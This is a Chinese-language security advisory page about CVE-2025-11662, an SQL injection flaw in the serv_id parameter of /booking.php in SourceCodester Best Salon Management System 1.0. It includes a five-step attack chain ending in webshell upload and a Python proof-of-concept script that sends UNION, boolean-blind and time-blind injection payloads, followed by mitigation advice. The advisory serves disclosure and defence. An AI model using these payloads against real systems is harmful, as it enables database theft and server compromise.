IPBUF安全漏洞报告
English
CVE-2025-11662 CVSS 7.3 高危

CVE-2025-11662:SourceCodester Best Salon管理系统SQL注入漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-11662
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Best Salon Management System

相关标签

SQL注入SourceCodesterBest Salon Management SystemCVE-2025-11662高危漏洞远程利用无需认证PHPMySQLWeb应用漏洞

漏洞概述

CVE-2025-11662是SourceCodester Best Salon Management System 1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月13日由[email protected]发现并披露,CVSS 3.1评分为7.3分,属于高危级别。漏洞存在于应用程序的/booking.php文件中,具体位于对参数serv_id的处理逻辑中。攻击者可以通过精心构造恶意SQL语句作为serv_id参数的值,实现对后端数据库的非法操作。由于该漏洞可以通过网络远程利用,无需任何身份认证和用户交互,因此具有较高的威胁性。攻击者可利用此漏洞读取、修改或删除数据库中的敏感数据,甚至可能进一步获取服务器控制权限。目前,该漏洞的利用代码已公开发布,意味着任何潜在攻击者都可以轻易获取利用工具,增加了实际被利用的风险。受影响的系统主要面向美容沙龙行业的管理场景,一旦被攻破,可能导致客户信息、预约记录、财务数据等敏感信息泄露,对企业和用户造成严重影响。

技术细节

该漏洞的根本原因在于/booking.php文件中对serv_id参数的处理未进行充分的输入验证和参数化处理,直接将用户输入拼接到SQL查询语句中执行。攻击者可以通过构造包含SQL元字符(如单引号、UNION、SELECT等)的恶意payload注入到serv_id参数中,从而改变原始SQL查询的语义。具体利用方式包括但不限于:1)使用单引号闭合原始查询字符串;2)通过UNION SELECT语句联合查询获取数据库中的其他表数据;3)利用布尔盲注或时间盲注技术逐字节提取敏感信息;4)通过堆叠查询(stacked queries)执行INSERT、UPDATE、DELETE等写操作。由于漏洞位于预订功能模块,serv_id参数通常对应服务项目ID,攻击者可以通过拦截正常的预订请求并修改该参数来触发漏洞。漏洞利用无需认证(PR:N),且不需要用户交互(UI:N),攻击复杂度低(AC:L),使得该漏洞极易被自动化工具批量利用。

攻击链分析

STEP 1
步骤1:目标侦察
使用搜索引擎或Shodan等工具识别运行SourceCodester Best Salon Management System 1.0的Web服务器,确认目标存在/booking.php文件。
STEP 2
步骤2:漏洞探测
通过向/booking.php发送包含特殊字符(如单引号)的serv_id参数测试,观察响应内容是否包含SQL错误信息或异常行为,确认SQL注入漏洞存在。
STEP 3
步骤3:注入Payload构造
根据数据库类型(推测为MySQL)构造UNION SELECT联合查询payload,确定查询结果中的列数和可显示字段位置。
STEP 4
步骤4:数据提取
利用构造好的payload提取数据库中的敏感信息,包括管理员凭据、用户个人信息、预约记录等。
STEP 5
步骤5:权限提升与持久化
通过获取的管理员凭据登录系统后台,上传Webshell或修改配置,实现对服务器的控制和持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11662 - SourceCodester Best Salon Management System 1.0 # SQL Injection via serv_id parameter in /booking.php import requests TARGET_URL = "http://target.com/booking.php" # Normal request payload payload = { "serv_id": "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -", # Other necessary POST parameters for booking } # Exploit request response = requests.post(TARGET_URL, data=payload) print(response.text) # Alternative: Boolean-based blind injection def check_injection(url, param_name): # Test for boolean-based blind injection true_payload = f"1' AND 1=1-- -" false_payload = f"1' AND 1=2-- -" true_resp = requests.post(url, data={param_name: true_payload}) false_resp = requests.post(url, data={param_name: false_payload}) if true_resp.text != false_resp.text: print(f"[+] Boolean-based blind SQL injection confirmed at parameter: {param_name}") return True return False # Time-based blind injection def time_based_injection(url, param_name): payload = f"1' AND SLEEP(5)-- -" import time start = time.time() requests.post(url, data={param_name: payload}) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based blind SQL injection confirmed at parameter: {param_name}") return True return False if __name__ == "__main__": check_injection(TARGET_URL, "serv_id") time_based_injection(TARGET_URL, "serv_id")

影响范围

SourceCodester Best Salon Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则阻止包含SQL关键字(如UNION、SELECT、DROP等)的恶意请求;2)在Web服务器层面限制对/booking.php文件的访问,仅允许可信IP访问;3)对serv_id参数实施严格的输入验证,仅接受数字类型的合法服务ID;4)使用数据库防火墙监控和阻止异常的SQL查询;5)定期备份数据库,以便在遭受攻击后能够快速恢复;6)监控系统日志,及时发现可疑的访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表